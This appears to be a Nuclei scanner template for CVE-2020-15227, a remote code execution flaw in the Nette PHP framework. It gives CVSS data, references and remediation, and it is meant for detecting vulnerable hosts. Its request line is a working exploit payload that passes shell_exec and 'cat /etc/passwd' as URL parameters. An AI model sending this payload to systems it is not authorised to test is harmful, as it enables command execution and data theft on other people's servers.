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id : CVE-2020-15227
info :
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name : Nette Framework - Remote Code Execution
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author : becivells
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severity : critical
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description : Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.
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remediation : |
Apply the latest security patches provided by the Nette Framework to fix the deserialization vulnerability.
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reference :
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- https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
- https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
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- https://nvd.nist.gov/vuln/detail/CVE-2020-15227
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- https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html
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- https://packagist.org/packages/nette/application
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2020-15227
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cwe-id : CWE-94,CWE-74
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epss-score : 0.97307
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epss-percentile : 0.9983
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cpe : cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : nette
product : application
tags : cve,cve2020,nette,rce
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http :
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- method : GET
path :
- "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
matchers-condition : and
matchers :
- type : regex
regex :
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- "root:.*:0:0:"
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- type : status
status :
- 200
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# digest: 4a0a0047304502200cfdde87d356243779f86b412f172c89cbf0ff96172b4e272d84e7c991808d010221008bef358372814a0d7bbefc9d285d738c6976cae9e39152941e2980f69763a4c4:922c64590222798bb761d5b6d8e72950